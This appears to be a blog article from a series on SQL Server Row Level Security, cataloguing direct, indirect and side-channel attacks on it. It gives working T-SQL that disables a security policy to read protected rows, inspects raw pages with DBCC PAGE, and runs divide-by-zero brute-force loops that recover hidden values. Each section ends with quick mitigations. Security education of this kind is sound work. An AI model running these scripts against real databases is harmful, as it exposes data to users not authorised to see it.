25 September 2023

924 views

1 0

SQL Server Row Level Security Deep Dive. Part 5 – RLS Attacks

This is part of a series on Row Level Security by Ben Johnston. For the rest of the series, click here

As mentioned in previous sections, RLS is an addition to security and should not be used as the primary method to limit access to data. It is a supplementary layer, useful in specific scenarios. There are also instances where RLS can be defeated by an unauthorized user. The attacks listed below are broken down into direct attacks, indirect attacks, and side-channel attacks. The categorizations could be changed, but the important part of each is the vulnerability discussed.

Direct Attacks

I’ve grouped attacks that rely on changing or removing RLS as direct attacks. These types of attacks would be easier to implement with access to code and the ability to deploy code. It also illustrates the importance of minimum viable security, even at the source code level. The documentation for RLS has a section warning about malicious security policy managers. When you are considering bad actors of this category, developers, administrators, and anyone with access to the automated build pipeline have the potential to implement one of the following direct attacks.

Modify the access predicate

Changing the logic of the access predicate is a simple method to subvert RLS. Hard-coding unauthorized users, adding a new SQL role, or checking for a specific user can be transparently added to a predicate. As the documentation mentions, since the predicate is schema bound, it would normally take a few steps to make the modification. In an automated DevOps environment, it just requires making the change and waiting for the next deployment.

Remove / disable RLS

Disabling RLS by using an alter statement on the security policy requires fewer steps than modifying the access predicate. It is also easily reversible, making this harder to detect later. There is a chance that other users will notice that the policy has been disabled if they start getting back more rows than expected. This could be avoided by locking the table before disabling and then unlocking after the data is extracted or queried. This is the same technique I use when performing maintenance on a table secured by RLS. This is also a demonstration about why you don’t want to put transactions around your SELECT statements as it can block the table from getting accessed by other connections.

USE WideWorldImportersFull

GO

SET TRANSACTION ISOLATION LEVEL SERIALIZABLE --This isn't necessary for SELECT statements, but is used in updates / deletes to prevent data leaking during the maintenance window

BEGIN TRANSACTION --Without the transaction, data is readable from another connection using READ UNCOMMITTED / WITH(NOLOCK)

BEGIN TRY

ALTER SECURITY POLICY application.FilterCustomersBySalesTerritoryRole

WITH (STATE = OFF)

SELECT *

FROM Sales.Customers

ORDER BY CustomerID

--WAITFOR DELAY '00:00:10' --Test scenario. Pause for 10 seconds. Open a second window and check for ability to query table while the transaction is open.

ALTER SECURITY POLICY application.FilterCustomersBySalesTerritoryRole

WITH (STATE = ON)

COMMIT TRANSACTION

END TRY

BEGIN CATCH

IF @@TRANCOUNT > 0 ROLLBACK TRANSACTION

ALTER SECURITY POLICY application.FilterCustomersBySalesTerritoryRole

WITH (STATE = ON)

END CATCH

SET TRANSACTION ISOLATION LEVEL READ COMMITTED

GO

Add / modify values in RLS control tables

When RLS is controlled by rows in a lookup table, whether in SQL or Synapse, the ability to modify that table should be severely restricted. It is recommended to put all RLS related database objects in a separate, secure schema. Regular users should not have access to this schema. It is common in non-production servers to allow developers and testers to modify this data. In production environments, this should be locked down for all users except admins and service accounts. If a bad actor has the ability to add rows to a control table, it is very simple to change RLS authorization and difficult to detect.

Modify the logon trigger

As with the other RLS direct attacks, this is obvious, but if a logon trigger is used to set the SESSION_CONTEXT, users with privileges to change the logon trigger should be very limited and the trigger itself should be carefully monitored. Completely removing or disabling the trigger would likely be noticed, but adding exceptions for specific users would be more difficult to detect. This really comes down to trusting your administrators and having basic security set correctly.

Update the SESSION_CONTEXT

Users have permission to update session context for their session. If the session context is created in read only mode, no one can update that session context. This is a potential gap that should be monitored and developers should be trained to ensure this misconfiguration doesn’t get implemented.

Access data with a different account

The IMPERSONATE permission, detailed in the reference section below, allows users to run the statement EXECUTE AS USER. This requires elevated access or specific permissions granted. It would typically not be granted to general users, but this should be validated during regular security audits. There are a number of potential security issues when allowing users to execute as another user, but it can be useful for some scenarios, including selectively bypassing RLS or dynamic data masking in a stored procedure. It should be granted with caution. When IMPERSONATE is granted to a regular user, the impersonated account should only have the minimum security needed.

Direct access with a different account

Users with access to a separate account, such as a shared account, service account, or another user’s account, would be able to run queries in the context of that user. Users with access to service accounts should be severely limited and shared accounts are highly discouraged.

System versioned temporal tables (history tables)

System versioned temporal tables were introduced with SQL Server 2016 and seemed like a possible attack vector for tables protected with RLS. But to disable the temporal tables, RLS must first be removed since the access predicate is schema bound. Once the access predicate is removed there is no reason to use the history table – the table could be accessed directly. It is not possible to access the temporal tables in a normal way without first removing RLS. If a history table is disconnected from the primary table and not tied to RLS, there will be a gap in security and the data will potentially be accessible, but if configured correctly they don’t present an additional attack surface.

Quick Mitigation

The next section of this series is detailed mitigation for each attack type, but I am presenting a quick recommendation after each major category in this section so you can be prepared.

Direct attacks rely on the ability of an unauthorized user to change RLS configurations or setup. Most of these can be avoided by securing the system and code correctly. Code reviews and automated deployments are recommended as well. Extended events and audits can also be used to capture changes to RLS definitions.

Indirect Attacks

For the sake of this discussion, indirect attacks involve accessing RLS protected data without modifying the RLS functions or modifying the security structures in the target environment. These attacks do require other types of elevated access or access to other systems with the protected data. The other interesting thing about these attacks is that most, if not all, of these have the potential to be used against other types of protected data, including dynamic data masking or tables without explicit access granted.

Restore the database to a different server / database instance

Restoring the database to a different server or database instance is very straight forward but requires advanced access, administrator level access on the source server and a destination server or database. Once the database is restored to a difference location, it is trivial to remove all RLS. This type of attack would leave the source database unmodified and would be difficult to detect. Encrypted backups would help with this issue, but not against administrators.

Bypass RLS and pull data from the source or an extract

In most enterprises, data is located in multiple systems and locations. If the data protected by RLS is also stored in a less protected location or in an extract, that is one of the easier methods to get access to the data. The goal of a bad actor isn’t to break system security, it is to access the protected data. Mechanisms such as data dictionaries or business glossaries can facilitate finding the data. This can be used by administrators to find the sensitive data and lock it down. It can also be used by bad actors to find the less protected version of the data. Be careful with all data security and consider the full provenance of sensitive data.

Bypass RLS by pulling cached data gathered by a service account

Pulling data protected by RLS and storing it in a less protected system is very similar to the previous issue. It is presented separately due to the differing mechanism. It is also sometimes more difficult for managers and administrators to understand the security gap, so it helps explaining it and listing it as a distinct scenario. The caching mechanism can be a reporting system, such as Power BI, or it can be another warehouse getting populated via ETL using a service account with elevated privileges. When non-standard access or system integration is requested, it is important to understand the use cases for the data to be sure everyone in the chain knows that the data is protected and to ensure they also protect the data. Additionally, this is an opportunity to be sure the business process covers these extract scenarios.

DBCC

Administrators have the ability to directly bypass RLS by disabling or modifying it, but that can leave an auditable trail. It is also very possible it will be noticed by other users if RLS is disabled. Administrative tools, such as DBCC, can access data at a very low level that bypasses RLS. It does not modify RLS and it is less likely to be noticed in an audit since there are legitimate reasons to use DBCC. It also may simply be missed as an attack vector in an audit since it requires a deeper understanding of the SQL engine and utilities. The following example shows how to examine data at a page level. Note that this also bypasses masked data.

Baseline query

--Baseline query - no session_context set, no rows returned

SELECT *

FROM Sales.Customers

At a physical level, SQL stores data in pages. Detailed page information is needed to use DBCC PAGE effectively. There are two easy ways to do this. The first is the older format, DBCC IND. It shows detailed information about pages

--Show the pages for the table. Older style.

--Not supported or part of official documentation

DBCC IND('WideWorldImportersFull','Sales.Customers',-1)

This does not work in Azure SQL.

SYS.DM_DB_DATABASE_PAGE_ALLOCATIONS

--Show allocated pages for the Sales.Customers table

--Newer syntax

-- The WHERE clause was included to limit the rows returned and show the same page information as the previous example

SELECT *

FROM SYS.DM_DB_DATABASE_PAGE_ALLOCATIONS(db_id(),object_id('Sales.Customers'),1,NULL,'detailed')

WHERE allocated_page_page_id > 141

DBCC PAGE

DBCC PAGE is another undocumented part of the DBCC suite of commands. The security for the DBCC tools generally requires VIEW SERVER STATE or sysadmin rights, so this command is limited in scope. It does allow full access to table and index data and can be used to bypass RLS. It would be tedious to do this for an entire table, but for targeted values, it is relatively easy to do.

--Show raw page data. Based on page numbers shown in above scripts. 1414 is the page highlighted in the previous two scripts

DBCC TRACEON(3604)

DBCC PAGE('WideWorldImportersFull',3,1414,3)

This does not work with Azure SQL, but it would work with Azure VMs or Managed Instances. This limits the scope of attacks by internal bad actors, but as mentioned, removing RLS is still possible for sysadmins or even just a database level dbo.

sys.dm_db_page

Using sys.dm_db_page does not work in the same way as DBCC PAGE. Header information, and some additional items when DETAILED is specified, are the only values returned. The Microsoft documentation recommends using DBCC PAGE if the body of the page is needed. This doesn’t give detailed data and so isn’t a threat to RLS integrity.

1 2	SELECT * FROM sys.dm_db_page_info(db_id(),1,1414,'DETAILED')

Index information and metadata

Index metadata can be used to gather information that might ordinarily be protected by RLS. If users have access to DBCC SHOW_STATISTICS the range and some actual values for columns can be gathered. The following shows the values for an index that is out-of-date. The RANGE_HI_KEY does not reflect the actual MAX value for the CustomerID in this example due to the statistics being out of date.

1	DBCC SHOW_STATISTICS ('Sales.Customers','PK_Sales_Customers')

This can be fixed by updating the statistics on the table.

1	UPDATE STATISTICS [Sales].[Customers] WITH FULLSCAN, ALL;

Running the DBCC command again shows the expected values. At a minimum, it shows the actual column values. The other way this could be used by an attacker is to limit the range of values checked in a brute force attack, which will be discussed in the section on side channel attacks.

1	DBCC SHOW_STATISTICS ('Sales.Customers','PK_Sales_Customers')

The updated statistics show the high value of 1061, which would greatly limit the values an attacker would have to target.

Execution plans

This is similar to the data that can be gleaned from looking directly at indexes and page data, but it is typically more accessible to users allowed to run ad-hoc queries. Filter values within indexes, explicit conversions, and other potentially protected pieces of information can be exposed within execution plans. Execution plans are important enough that developers and general users should have access to them if they are creating queries, but be aware that some data is exposed through this functionality.

Identity information

If the table secured with RLS contains an identity column, the next identity value can be gathered using IDENT_CURRENT. This can be used to limit the range of values that are explored by a bad actor. It isn’t a lot of information, but it can significantly reduce the amount of time required for an attack.

1	SELECT IDENT_CURRENT ('Website.VehicleTemperatures')

Sequence Numbers

Sequence numbers are very similar to identity columns in how they can be used as a starting point for an attack. They are potentially easier to examine since the current max value for all sequence numbers is stored in sys.sequences.

SELECT

SS.name SchemaName

,SEQ.name SequenceName

,SEQ.start_value

,SEQ.increment

,SEQ.current_value

,SEQ.last_used_value

FROM sys.schemas SS

INNER JOIN sys.sequences SEQ

ON SS.schema_id = SEQ.schema_id

ORDER BY

SS.name

,SEQ.name

Quick Mitigation

Most of the indirect attacks require elevated system access. The only real mitigation for this is to hire trusted administrators. You can also log various commands and system access to catch problems after the fact, but the best mitigation is a trusted team.

Side Channel Attacks

Side channel attacks are a way to derive or extract data using unexpected functionality or standard functionality in a way that exposes data unintentionally. This was examined in my series covering dynamic data masking. The method of exposing data protected by RLS is different, but you will notice many similarities to the masking attacks.

The basis for side channel attacks against RLS protected data involves capturing divide by zero errors. There may be other methods to achieve this, but that is the method demonstrated in the Microsoft documentation. The examples are very specific and limited in scope. My goal was to determine if the attacks could be generalized. If RLS side channel attacks can be made general attacks, it changes the security landscape and will help administrators know how RLS fits into their environment.

The following shows how the CreditLimit column is exposed with a very targeted query. Since the CreditLimit for CustomerID 801 is 3000, it results in a divide by zero error. If you didn’t know the value, the error indicates the value is correct.

IF SESSION_CONTEXT(N'SalesTerritory') IS NULL

BEGIN

EXEC sp_set_session_context 'SalesTerritory', 'Far West', 1

END

--User with minimal access, not DBO

EXECUTE AS USER = 'RLSGiftStore'

--CustomerID 801 has a type of "Corporate", so "Far West" would not pull these records.

SELECT *

FROM Sales.Customers

WHERE CustomerID = 801

AND 1/(CreditLimit - 3000) = 0

REVERT

Note that the error number is 8134. This will be discussed in more detail in the mitigations section, but monitoring can target this specific error code.

Numeric attacks

Numeric attacks using divide by zero are easy to conceptualize. If the value in a column matches the current number being tested, it causes a divide by zero error. In the script below, the critical part is this line:

1	1/(C.CreditLimit - @CreditLimit)

If the column being tested, CreditLimit in this case, and the test value, @CreditLimit, match, they will subtract out to 0. This causes the divide by zero error. The script captures errors and records the value for each key when errors occur. Each error is a decoded value for the tested row. This example also does a convert to integer to increase the number of potential matches (decimal values would increase the valid range of values by a factor of 10 for each scale of the decimal value, taking much more time).

This attack works because the query engine performs the evaluation before the RLS filter is applied. So even if a user doesn’t have access to the row in question, the evaluation is performed.

--Set the SESSION_CONTEXT to a limited value, but with some access

IF SESSION_CONTEXT(N'SalesTerritory') IS NULL

BEGIN

EXEC sp_set_session_context N'SalesTerritory', 'Novelty Shop', 1

END

SET NOCOUNT ON

--Run the test as a user without DBO rights

--The Access Predicate has a separate provision for DBO and all rows are returned for those users

EXECUTE AS USER = 'RLSGiftStore'

DECLARE @CreditLimit int = 0

DECLARE @CustomerID int = 801 --Credit limit is NULL for previous rows. This wouldn't be known in a true attack, but for the example we skip those rows.

DECLARE @Customers TABLE (

CustomerID int

,CreditLimit int

)

--Record customers that are allowed by the current users RLS rules

INSERT INTO @Customers (CustomerID, CreditLimit)

SELECT CustomerID, CreditLimit

FROM Sales.Customers

--Only check 100 customers for the sake of the example

WHILE @CustomerID < 901

BEGIN

WHILE @CreditLimit < 10000 AND @CustomerID NOT IN (SELECT CustomerID from @Customers)

BEGIN

BEGIN TRY

INSERT INTO @Customers (CustomerID, CreditLimit)

SELECT C.CustomerID, C.CreditLimit

FROM Sales.Customers C

WHERE C.CustomerID = @CustomerID

AND 1/(C.CreditLimit - @CreditLimit) = 0

END TRY

BEGIN CATCH

INSERT INTO @Customers (CustomerID, CreditLimit)

SELECT @CustomerID, @CreditLimit

BREAK --Stop processing this row when the correct value is found

END CATCH

SELECT @CreditLimit += 1

END

SELECT @CustomerID += 1

SELECT @CreditLimit = 0

END

--Note that more than 100 rows are returned

--Rows above 900 are due to regular granted RLS access, not the attack

SELECT *

FROM @Customers

ORDER BY CustomerID

REVERT

String attacks

String attack weren’t demonstrated on the Microsoft site, but it is easy to convert individual characters to their ASCII code and make the same type of comparison as the numeric attacks.

The attack part of this script loops through each character in the target column. It performs a CASE operation comparing it to the current loop for ASCII codes. When they match, it returns 0, forcing a divide by zero error. All other values are ignored. This error is caught and the NCHAR value is added to the output.

A simple attack against a string column is shown below. It tests the first character in the column, for a specific CustomerID.

SELECT *

FROM Sales.Customers

WHERE CustomerID = 801

AND 1 / (

CASE SUBSTRING(CustomerName,1,1) WHEN 'E' THEN 0 ELSE 1 END

) = 0

The same error message is returned for string and numeric tests since we are still using a divide-by-zero attack.

This attack can be expanded to iterate through each character in a string column. The iterative example for a single column attack overlaps considerably with the next example, the brute force attack.

Brute Force Attack

With my dynamic data masking brute force script as a starting point, it was relatively quick to test if the same thing could be done with RLS protected rows. The following script iterates through each column in the specified table, converts them to NVARCHAR and does a comparison as in the string example above. This attack may not work for all data types, but it is more of a fast proof of concept rather than production code. It is not fast, since each character in each column is tested separately, but it does return the protected values.

The test script below can be run with the session context set or without. It just needs to be run by an account with SELECT access to the base table. The side channel attack also works if no rows are available via RLS. This example script assumes an integer primary key.

The following is an excerpt from the complete brute force demonstration. The variable used to EXEC and iterate through each column was output for a single column (CustomerName). The complete script is attached to this post as a zip file and shows the dynamic version of the script. The complete script is SQL for the sake of deployment simplicity. The same type of attack could be done in any language that can connect to SQL and execute commands. It was done in SQL since everything can be done with SSMS and requires no additional tools.

--I used PRINT @SQL to output the dynamic SQL and show what is happening in the larger, attached script.

--It shows a single column getting decoded (CustomerName)

--Changes all columns to strings

--Does a character-by-character check and updates the the global temp table with the found values.

--Loop through each character of each column

--Each substring is converted to NCHAR and compared against each --ASCII character from 32 (SPACE) to 127 (DEL)

--When the character matches, the case statement returns 0

--causing a divide by zero error. Each character is added to the

--string for the current column

--It repeats until all characters in all columns are decoded

DECLARE @ID int

,@Character int = 0

,@InnerCharLen int = 0

DECLARE crsRLS CURSOR

FOR SELECT TOP 100 CustomerID

FROM ##RLS C

ORDER BY CustomerID

OPEN crsRLS

FETCH crsRLS INTO @ID

WHILE @@FETCH_STATUS = 0

BEGIN

DECLARE @SubstringLen int = 1

SELECT @InnerCharLen = (SELECT LEN(CustomerName) FROM Sales.Customers C WHERE C.CustomerID = @ID)

WHILE @SubstringLen <= (@InnerCharLen)

BEGIN

SELECT @Character = 32 --Start with space character --Letters, etc. were not excluded since they end at 57. Also then includes characters for time, etc.

WHILE @Character < 127 --Only process the ASCII character set. Could be expanded at the cost of time

BEGIN

BEGIN TRY

INSERT INTO ##RLS (CustomerID, CustomerName)

SELECT C.CustomerID, C.CustomerName

FROM Sales.Customers C

WHERE C.CustomerID = @ID

AND 1 / (

CASE SUBSTRING(CONVERT(NVARCHAR(100),CustomerName),@SubstringLen,1) COLLATE SQL_Latin1_General_CP1_CS_AS WHEN NCHAR(@Character) THEN 0 ELSE 1 END --Use COLLATE to get the correct case. Increases time to decode.

) = 0

END TRY

BEGIN CATCH

UPDATE ##RLS

SET CustomerName = ISNULL(CustomerName,'') + NCHAR(@Character)

WHERE CustomerID = @ID

BREAK --Stop processing this row / character when the correct value is found

END CATCH

SELECT @Character += 1

END

SELECT @SubstringLen += 1

END

SELECT @SubstringLen = 1

SELECT @InnerCharLen = 0

FETCH crsRLS INTO @ID

END

CLOSE crsRLS

DEALLOCATE crsRLS

Refer to the complete script at the bottom of this post, but the above shows the main process used for the side channel attack. It assumes a numeric primary key, but this could be adjusted.

As seen by the output below, all column types in the target table were exposed. No session context was set for the example, so zero rows are returned using a standard SELECT statement. The same technique works, regardless of the method used in the access predicate and is not limited to session context.

Quick Mitigation

The best way to detect brute force attacks and side channel attacks is to log and actively monitor for error number 8134. Various tools for monitoring are presented in the next section, but be sure to include a logging strategy in your implementation if you use RLS and if you allow direct access to tables.

Summary

As shown above, RLS isn’t perfect and there are security concerns when implementing it. You must have trusted administrators and there are possible side-channel attacks that can be exploited by advanced users. Understanding the limitations to RLS and possible weaknesses is an important part of selecting it as a solution. The next section focuses on limiting exposure to attacks and methods to catch attacks in progress.